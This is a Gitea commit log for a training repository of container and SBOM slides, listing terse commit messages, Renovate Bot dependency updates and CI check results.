renovate / renovate (push) Successful in 1m21s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2024-12-01 00:29:42 +00:00
Renovate Bot
0d24218508 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v39.26.3
Some checks failed
renovate / renovate (push) Successful in 1m24s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2024-11-24 00:26:33 +00:00
Renovate Bot
7804571072 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v39.18.2
Some checks failed
renovate / renovate (push) Successful in 1m34s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2024-11-17 00:26:13 +00:00
Renovate Bot
3cd400fb5f chore(deps): update ghcr.io/renovatebot/renovate docker tag to v39
Some checks failed
renovate / renovate (push) Successful in 1m25s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2024-11-10 00:31:09 +00:00
Renovate Bot
6c1d129352 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v38.142.7
Some checks failed
renovate / renovate (push) Waiting to run
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2024-11-10 00:30:40 +00:00
Renovate Bot
a93736e1cf chore(deps): update ghcr.io/renovatebot/renovate docker tag to v38.142.3
Some checks failed
renovate / renovate (push) Successful in 1m22s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2024-11-03 00:28:13 +00:00
Renovate Bot
188d5de045 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v38.132.1
Some checks failed
renovate / renovate (push) Successful in 1m15s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2024-10-27 00:24:04 +00:00
Renovate Bot
9956f40989 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v38.128.2
Some checks failed
renovate / renovate (push) Successful in 1m12s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2024-10-20 00:30:01 +00:00
Renovate Bot
091bfed562 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v38.120.0
Some checks failed
renovate / renovate (push) Successful in 1m22s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2024-10-13 00:56:47 +00:00
Renovate Bot
eede9d81f0 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v38.119.0
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Waiting to run
renovate / renovate (push) Has been cancelled
2024-10-13 00:14:59 +00:00
Renovate Bot
4023838d68 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v38.110.2
Some checks failed
renovate / renovate (push) Successful in 1m9s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2024-10-06 00:15:46 +00:00
Renovate Bot
53cfb5d598 chore(deps): update dependency ubuntu to v24
Some checks failed
renovate / renovate (push) Successful in 1m20s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2024-09-29 01:09:09 +00:00
Renovate Bot
d4ff00cbb1 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v38.101.0
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Successful in 5m12s
renovate / renovate (push) Has been cancelled
2024-09-29 00:24:30 +00:00
Renovate Bot
f624e26045 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v38.72.0
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 3s
renovate / renovate (push) Failing after 2s
2024-09-08 00:13:13 +00:00
Renovate Bot
c746a8b91c chore(deps): update ghcr.io/renovatebot/renovate docker tag to v38.59.2
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 2s
renovate / renovate (push) Failing after 2s
2024-09-01 00:13:10 +00:00
Renovate Bot
fadbc3cef0 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v38.52.0
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 2s
renovate / renovate (push) Failing after 2s
2024-08-24 06:19:01 +00:00
Renovate Bot
74dbaf5a3b chore(deps): update ghcr.io/renovatebot/renovate docker tag to v38.45.0
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 32s
renovate / renovate (push) Failing after 22s
2024-08-21 06:42:14 +00:00
Renovate Bot
c104d90bad chore(deps): update dependency ubuntu to v22
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 9s
renovate / renovate (push) Failing after 8s
2024-08-18 00:12:23 +00:00
Renovate Bot
63da5e2b5e chore(deps): update ghcr.io/renovatebot/renovate docker tag to v38.39.4
Some checks failed
renovate / renovate (push) Waiting to run
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 3m52s
2024-08-18 00:11:54 +00:00
Renovate Bot
37640bd1fd chore(deps): update actions/setup-python action to v5
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 3s
renovate / renovate (push) Failing after 3s
2024-08-11 00:10:56 +00:00
Renovate Bot
073f0d8ce7 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v38.24.1
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 3s
renovate / renovate (push) Failing after 2s
2024-08-11 00:10:30 +00:00
Renovate Bot
b3ed6603bb chore(deps): update ghcr.io/renovatebot/renovate docker tag to v38.20.1
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 3s
renovate / renovate (push) Failing after 1m36s
2024-08-07 06:32:45 +00:00
2a1c818059 Uodate
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 58s
renovate / renovate (push) Has been cancelled
2024-08-07 08:31:11 +02:00
Renovate Bot
376ccc2557 chore(deps): update actions/checkout action to v4
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
renovate / renovate (push) Successful in 36s
2024-08-04 00:08:21 +00:00
Renovate Bot
8165334fa4 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v38.18.12
Some checks failed
renovate / renovate (push) Waiting to run
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 15s
2024-08-04 00:07:50 +00:00
9e8d9c6c5a Merge branch 'main' of https://git.verleun.org/training/containers
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
renovate / renovate (push) Successful in 36s
2024-08-03 15:21:07 +02:00
a90bdd66c8 update 2024-08-03 15:20:59 +02:00
0502ad4859 Merge pull request 'Update Terraform azurerm to v3.114.0' (#4) from renovate/azurerm-3.x into main
Some checks are pending
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Waiting to run
renovate / renovate (push) Waiting to run
Reviewed-on: #4
2024-08-03 13:19:48 +00:00
512b7abb26 Merge pull request 'Update Terraform openstack to v4.123.0' (#5) from renovate/openstack-4.x into main
Some checks are pending
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Waiting to run
renovate / renovate (push) Waiting to run
Reviewed-on: #5
2024-08-03 13:19:30 +00:00
a998f222f3 more
Some checks are pending
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Waiting to run
renovate / renovate (push) Waiting to run
2024-08-03 15:17:04 +02:00
Renovate Bot
8ea4b57810 Update Terraform openstack to v4.123.0
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 18s
2024-08-03 13:08:40 +00:00
Renovate Bot
a6ecf5c105 Update Terraform azurerm to v3.114.0
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 18s
2024-08-03 13:08:07 +00:00
c0fa2d3cc9 Merge pull request 'Configure Renovate' (#3) from renovate/configure into main
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 39s
Reviewed-on: #3
2024-08-03 11:41:11 +00:00
Renovate Bot
2f676712a1 Add renovate.json5
All checks were successful
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Successful in 13m9s
2024-08-03 09:01:33 +00:00
d01a483c4e more info
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2024-02-18 14:39:05 +01:00
127430b6e3 Make it fitAdd more
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2024-02-18 14:03:39 +01:00
ccab25cd12 More info
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2024-02-18 13:39:40 +01:00
bc4ebeb9b9 More info
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2024-02-18 13:23:35 +01:00
5c31d64239 More info
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2024-02-18 13:14:35 +01:00
d0faecf544 more info
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 14s
2024-02-18 13:05:19 +01:00
eefc074922 Add more
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 9s
2024-02-18 11:53:56 +01:00
5ebfa034bf Add more
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2024-02-18 11:53:40 +01:00
c8dee75daf More info
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2024-02-18 11:43:45 +01:00
897fb75554 Cleanup
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2024-02-18 11:41:07 +01:00
f58f82e355 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 14s
2024-02-05 19:15:27 +01:00
c7938d474b Fix name
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 13s
2024-02-03 10:02:07 +01:00
8aab0ddd5a More images
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 17s
2024-02-03 10:00:57 +01:00
f9bf5759cf Fix url
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 14s
2024-02-03 09:47:06 +01:00
1a7b2db6fb More info
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 16s
2024-02-03 09:45:12 +01:00
3771cdf624 Change order 2024-02-03 09:44:36 +01:00
2b1cb41543 Add section
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 13s
2024-02-03 09:18:23 +01:00
84067d6724 Make it a seperate slide
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 17s
2024-02-03 09:14:02 +01:00
536f6fabd6 Formatted
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 14s
2024-02-03 09:12:25 +01:00
b83c995a80 Python specific
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 15s
2024-02-03 09:11:25 +01:00
ea7d3d73cd Really remove background 2024-02-03 09:11:09 +01:00
9b30460288 Change order 2024-02-03 09:10:41 +01:00
c898fc954f Remove background
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 13s
2024-02-03 09:01:14 +01:00
cc6d6f4703 New intro
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 14s
2024-02-03 08:59:02 +01:00
0f637ad226 Remove background here 2024-02-03 08:56:45 +01:00
27f25fad80 Background test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 14s
2024-02-03 08:50:26 +01:00
11e88c0c97 Change title
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 14s
2024-02-03 08:39:38 +01:00
67ac465991 Typo?
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 14s
2024-02-03 08:28:25 +01:00
921ae5aa80 First setup
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 16s
2024-02-03 08:27:29 +01:00
197d1823fa Fix URL
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 14s
2024-02-02 08:27:34 +01:00
65f5712b8b Add new talk
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 16s
2024-02-02 08:26:16 +01:00
f1710d9303 Show trend
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 18s
2024-01-21 13:17:05 +01:00
6a7e7cce2f More info
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 15s
2024-01-14 19:43:53 +01:00
303f8d2af5 More info
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 14s
2024-01-14 18:52:06 +01:00
4be0bbe73b Change class
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 13s
2024-01-14 15:30:38 +01:00
772cf6d594 CHange header
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 16s
2024-01-14 15:29:55 +01:00
204f0750aa More chapters
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 15s
2024-01-14 15:28:16 +01:00
fb84b47c4f Bring together
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 14s
2024-01-14 15:25:32 +01:00
5cb395f7f2 More info
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 14s
2024-01-14 15:14:38 +01:00
ba1b798cf1 Change layout
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 16s
2024-01-14 15:04:49 +01:00
d2344d981f Add link
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 16s
2024-01-14 15:01:47 +01:00
2b51a1a0b5 Nice
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 13s
2024-01-13 10:17:20 +01:00
af411e8dc6 Add chapter
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 16s
2024-01-13 10:13:42 +01:00
993b5aaaf4 Add class
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 15s
2024-01-13 10:11:47 +01:00
4907d861a3 fix
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 16s
2024-01-13 10:10:42 +01:00
f0151b5631 Test images
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 15s
2024-01-13 10:08:50 +01:00
06fc7f08f5 More
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 15s
2024-01-13 09:47:45 +01:00
11fdc40282 Correct language
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 16s
2024-01-13 09:41:39 +01:00
f43bd4c34d Add info
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 14s
2024-01-13 09:37:31 +01:00
e9a494086f Add flag
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 15s
2024-01-13 09:24:07 +01:00
b62514a6e5 Ignore this one
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 15s
2024-01-13 09:18:58 +01:00
2f07ce632c restore
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 14s
2024-01-13 09:00:46 +01:00
c0fab9d48f test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 16s
2024-01-13 08:59:35 +01:00
71099ac249 More testing
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 15s
2024-01-13 08:52:38 +01:00
b9779a8b60 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2024-01-13 08:51:42 +01:00
313383c0e8 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 17s
2024-01-13 08:50:43 +01:00
ed9d208bda Change location
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 14s
2024-01-13 08:46:58 +01:00
667f4d302b New intro
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 15s
2024-01-13 08:43:40 +01:00
62594a0500 Renamed
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 16s
2024-01-13 08:36:51 +01:00
dc76c89e73 Add new presentation
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 14s
2024-01-13 08:28:10 +01:00
66ddd3c63c NEW VERSION
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 15s
2024-01-08 20:49:03 +01:00
b6e70b4cac Fixed files
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 14s
2024-01-07 21:17:15 +01:00
798479528c test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 14s
2024-01-07 21:10:44 +01:00
700b2833b8 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 13s
2024-01-07 21:09:46 +01:00
55c48c6768 test 2024-01-07 20:57:09 +01:00
22b80e8705 test 2024-01-07 20:56:48 +01:00
8b423875cf test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 15s
2024-01-07 20:56:33 +01:00
fa1f1a2198 test 2024-01-07 20:56:02 +01:00
38bdb42e8d hooks
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2024-01-07 20:55:20 +01:00
436a367c3e test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 13s
2024-01-07 20:51:12 +01:00
521863f07c Prevent secrets from getting commited
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 14s
2024-01-07 20:49:29 +01:00
0e9f156653 test 2024-01-07 20:48:45 +01:00
ee484baadc test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 15s
2024-01-07 20:35:52 +01:00
a64977cc00 More info
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 14s
2024-01-07 14:08:50 +01:00
fa91e9c5d1 Add new info
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2024-01-07 10:25:21 +01:00
712d18b0eb Change maintainer
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 13s
2024-01-07 09:29:56 +01:00
637ca4a65b Use V2 names
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 1m9s
2024-01-07 09:19:04 +01:00
69bda4affb More
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-30 19:16:50 +01:00
6a85f0d4a7 Normal font
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-30 19:11:58 +01:00
16fdafe6eb Reduce more
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-30 19:11:10 +01:00
e92bfab67f Reduce width
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-30 19:08:23 +01:00
d8196cbca6 Small
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-30 19:05:34 +01:00
411c61bf60 New chapter
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-30 19:01:59 +01:00
38e4b85aaa Fix typo
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-30 19:00:49 +01:00
553907f6d8 Renamed
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-30 18:57:45 +01:00
0ea8b1a5e1 Add page 2023-11-30 18:57:38 +01:00
7eeb7a98e7 Reorder
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-30 18:55:30 +01:00
e6af8550c4 Cleanup 2023-11-30 18:55:07 +01:00
dbfb5489ad Symantecs
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-29 08:59:09 +01:00
39e0c614f2 Removed 2023-11-29 08:58:45 +01:00
916ea67ede Change port 2023-11-29 08:56:54 +01:00
33996def83 More fixes
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-26 10:56:47 +01:00
ada32e43f7 Small fixes
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-26 10:56:08 +01:00
1b1dc8d027 Sizing
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-26 10:54:26 +01:00
f287e75d9e large
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-26 10:52:19 +01:00
0aa674deb3 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-26 10:50:48 +01:00
33264c5e22 Add missing seperator
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-26 10:48:17 +01:00
45963ad807 more
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-26 10:47:11 +01:00
37b5145fc2 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-26 10:43:41 +01:00
cc9009ecce test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-26 10:42:55 +01:00
57288bb797 resize
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-26 10:41:07 +01:00
ade5a93808 More
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-26 10:39:57 +01:00
afab697eac Restored
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-26 10:34:50 +01:00
3bb6ff11df More info
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-26 10:32:30 +01:00
25766f24e9 small
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-26 10:23:50 +01:00
8dcb4979ed Restructure
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-26 10:22:14 +01:00
72b2b2d968 more
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-26 10:17:10 +01:00
5fa4873bf9 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-26 10:15:04 +01:00
6e35d3c50a test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-26 10:14:04 +01:00
a34bf2c6d5 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-26 10:13:17 +01:00
708d250beb test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-26 10:12:40 +01:00
491ddf5aac test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-26 10:12:02 +01:00
25af09a9b0 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-26 10:11:12 +01:00
1f49950343 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-26 10:10:17 +01:00
fd9006a114 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-26 10:09:11 +01:00
026fb23761 Fix extension
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-26 09:57:38 +01:00
b87f2fae0c Add more
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 1s
2023-11-26 09:56:41 +01:00
c1d266b160 Split into multipla pages
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-26 09:52:51 +01:00
ce252a2c6c Add links 2023-11-26 09:51:20 +01:00
a3650081d3 Fix
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 1s
2023-11-26 09:43:51 +01:00
ee7f2e303b test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-26 09:42:49 +01:00
56d3f303b3 Fixes
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-26 09:40:51 +01:00
268aa2faff test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 1s
2023-11-26 09:22:57 +01:00
1f412f2f07 Reorder
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-26 09:15:15 +01:00
3d8ccbe393 Typo 2023-11-26 09:13:53 +01:00
422951cda0 Add link
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 1s
2023-11-26 09:11:59 +01:00
4309530ca9 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-26 09:00:07 +01:00
58de164686 cleanuo
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-26 08:58:15 +01:00
c22908cbf1 cleanup
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-26 08:57:37 +01:00
403800141a more cleanup
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-26 08:52:59 +01:00
edf691b54c Ignore files
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-26 08:49:36 +01:00
2787032c7e Change title
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-26 08:47:12 +01:00
ac8526120a Layout
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 1s
2023-11-08 18:19:25 +01:00
2c2ce97ad3 Remove empty lines
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 1s
2023-11-08 18:18:12 +01:00
5921ac0ea2 Add
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 1s
2023-11-08 18:11:19 +01:00
34955d91a6 Update slides/sbom/sboms.md
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 1s
2023-11-08 07:21:17 +00:00
dd1b650771 More info
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 21:26:29 +01:00
c4f7cc44ca More
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 16:46:33 +01:00
2516271daf Narrow
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 16:45:04 +01:00
c2dae66658 add grype
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 16:41:35 +01:00
81b9fb5b67 license
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 16:25:08 +01:00
50a635d09c json
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 16:18:33 +01:00
4131478a29 small
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 1s
2023-11-07 16:18:05 +01:00
f732e191a3 small
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 16:17:36 +01:00
e6448f0f9d small
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 16:16:56 +01:00
494c2016af More info
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 16:15:58 +01:00
11aa89411d test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 16:10:56 +01:00
d2b415b420 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 16:09:06 +01:00
c9969d8c74 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 16:07:43 +01:00
6b60e2eb8c test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 16:06:11 +01:00
e5059c2b56 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 1s
2023-11-07 16:05:33 +01:00
a108d83410 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 16:04:40 +01:00
9d3e738757 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 16:02:56 +01:00
cf6e8538dc test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 16:01:52 +01:00
43e178d8e5 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 16:01:04 +01:00
1682f8f643 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 15:59:45 +01:00
9614596cec test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 15:59:02 +01:00
80ba2b7954 Reorder
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 15:57:35 +01:00
330e32de71 Cleanup
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 15:56:00 +01:00
87e33b5206 Change order
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 15:55:01 +01:00
d35bb993bf Change order
Some checks failed
